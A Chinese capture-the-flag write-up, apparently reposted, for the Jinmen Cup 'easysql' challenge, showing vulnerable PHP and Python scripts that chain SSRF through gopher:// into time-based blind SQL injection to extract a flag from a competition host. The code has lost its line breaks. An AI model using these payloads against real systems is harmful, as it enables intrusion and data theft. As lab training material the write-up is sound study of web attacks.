津门杯 easysql

2023-11-22 01:59
文章标签 easysql 津门

本文主要是介绍津门杯 easysql,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第一次遇到ssrf打sql注入吧

index.php的代码


<?php
highlight_file(__FILE__);session_start();$url = $_GET['url'] ?? false;if($url){$a = preg_match("/file|dict/i", $url);if ($a==1){exit();}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_GET["url"]);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);}?>

师傅们说是扫出了admin.php (我没扫出。。。。)
在这里插入图片描述
叫我们传poc
明显的ssrf,然后配合题目 阔以想到ssrf打sql
然后后面就是怎么构造payload的问题了。。。

最后尝试是括号闭合,师傅们真的强
然后没有反应就时间盲注了。。。

import urllib 
import requestspayload="poc=0) or sleep(3) #"test =\
"""POST /admin.php HTTP/1.1
Host:127.0.0.1 
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close %s
""" % (len(payload),payload)
tmp = urllib.parse.quote(test)new = tmp.replace('%0A','%0D%0A')
new = new.replace('%','%25')
result ='_' +newurl = 'http://121.36.147.29:20001/?url=gopher://127.0.0.1:80/'+resultprint(url)
import urllib
import requests
import time
url='http://121.36.147.29:20001/?url='
flag=''
for i in range(1,100):low=32high=128mid=(low+high)//2while low<high:payload="poc=0) or if((ascii(substr((select flag from flag),{},1)))>{},sleep(0.5),1) #".format(i,mid)test =\
"""POST /admin.php HTTP/1.1
Host:127.0.0.1 
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close %s
""" % (len(payload),payload)tmp = urllib.parse.quote(test)new = tmp.replace('%0A','%0D%0A')new = new.replace('%','%25')result ='_' +newurl = 'http://121.36.147.29:20001/?url=gopher://127.0.0.1:80/'+resultprint(url)time1=time.time()r=requests.get(url)time2=time.time()print(low,mid,high)print(time2-time1)if time2-time1>0.4:low=mid+1else:high=midmid=(low+high)//2flag+=chr(mid)print(flag)

这篇关于津门杯 easysql的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/406679

相关文章

[CTF][SUCTF2019]easysql

解题思路 1 先尝试可能的注入点 单引号 双引号 数字 字母等等,看界面反应。 最终结果: from union 等关键字被过滤,flag字符串也被过滤。 可以使用堆叠注入。 输入字符串界面无反应,输入数字会返回,1,2,3等也会返回。 限制输入长度。 基本可以确定,是select … from xxx的句式。 但是会对最后一个字符做处理,如1,2,3,会返回1, 2,1 2 方向 把前面的规

[RCTF2015]EasySQL

前言: 又是一道二次注入的题目。本菜鸡还是没有独立做出来,对二次注入这个知识点还是有些不熟练。 一开始先去注册,但发现即使自己正常填信息也不能注册成功,然后懒就没想着去Fazz一下。然后折腾好一会,当我直接只填写username而不填写password、email时发现注册成功。服了,当时心态有点不好吧… 当尝试username为admin"然后再去改密码时出现了报错,说明是双引号闭合,

【2021津门杯】MISC-m1bmp

题目附件传送门:度盘附件提取,提取码:ibps 下载并解压附件,得到了一个 bmp 格式的图片 对于这种 bmp 格式的图片,我们首先想到的可能是 bmp 隐写,但是使用 bmp 隐写工具去解的话是需要密码的  翻遍了图片的属性等信息,并未找到有关于像密码的东西,通过010 editor也没有发现有用的信息。 所以接下来尝试使用stegslove工具去查看图片的通道 还是一样

连年亏损 金融街甩卖天津地标建筑“津门”

文章来源:筑讯中国 近期,金融街津门(天津)置业有限公司(下称津门置业)100%股权的转让交易信息出现在北京产权交易所的信息板上,转让底价为7.6亿元,核心标的为天津地标性建筑津门主建筑天津瑞吉金融街酒店(下称瑞吉酒店)。开业近6年的瑞吉酒店即将易主,界面新闻记者查询到,此前该酒店已连年亏损。 转让交易信息显示,此次转让除天津瑞吉金融街酒店建筑和地下商业用房及车位,还包括位于天津市

[极客大挑战 2019]Havefun、[ACTF2020 新生赛]Include、[SUCTF 2019]EasySQL

[极客大挑战 2019]Havefun 进入环境就如下图啥都没给我查看了一下源码 直接给出了flag???尝试了一下结果是一个假的flag,然后我们分析源代码很容易看出我们通过GET方式给cat传一个值,如果cat的值为dog就输出flag,这很简单了我们通过get方式给cat传一个叫dog的值我们就能获得flag,payload如下 ?cat=dog 得到flag [AC

2021津门杯部分RE题wp

文章目录 GoodREeasyRebabydsp GoodRE 很简单的一个TEA算法,直接用脚本解密: def decrypt(v, k):v0 = v[0]v1 = v[1]x = 0xC6EF3720delta = 0x9E3779B9k0 = k[0]k1 = k[1]k2 = k[2]k3 = k[3]for i in range(32):v1 -= ((v0 <<

Buuctf-Web-[极客大挑战 2019]EasySQL 1 题解及思路总结

​ 启动靶机 目录 题要做题过程第一步——找到页面与数据库产生交互的地方第二步——查看SQL语句闭合方式判断SQL注入闭合方式:方法一:使用\(转义字符)来判断SQL注入的闭合方式方法二:输入1、1'、1"判断SQL语句闭合方式 第三步——进行SQL注入方法一:万能账号密码方法二:使用HackBar进行SQL注入一、查看页面的传参方式二、使用HackBar进行SQL注入 思路总结题目

津门杯2021CTF pwn解

前言:这个题一开始调通了,但是不知道正确的libc版本,远程没有打通,最后听了一下libc版本是11.4的libc2.23版本,才打通,题很多洞,比较经典的是edit的READ容易写。写到freehook为onegadget即可,tcl,只解了一道题,时间原因第二道pwn题也没看,噗。。 漏洞点:   漏洞点这两个地方,他们都是在bss段里,而且位置比较临近可以直接考虑一下任意写,当

2021年津门杯ctf线上赛记录(WICCTF)

津门杯ctf线上赛 概述pwn题easypwnpwnCTFM 总结 概述   本篇博客记录下自己的第一次ctf比赛经历,其实不完全是第一次,之前也参加过其他比赛,但只能做个签到就走了,这次不一样了,好歹做出了一道pwn题,有一道本来是有机会的,搞错libc了,线上没拿到flag,不过线上复现了下,感觉还行。因此特写下此篇博文,记录自己的一血。😏 pwn题   我个人现在只会

2021津门杯misc之m0usb

首先下载这个文件,可以看到是一个压缩包,然后打开是一个pcapng流量格式的文件,先用wireshark打开, USB协议数据部分在Leftover Capture Data域中,数据长度为八个字节。其中键盘击键信息集中在第三个字节中。所以从这里可以推断是键盘流量,所以直接用键盘流量脚本进行解密 3. 最后我们得到这样一串数字,看起来像是某种编码或加密,我们通过观察,此串由数字01248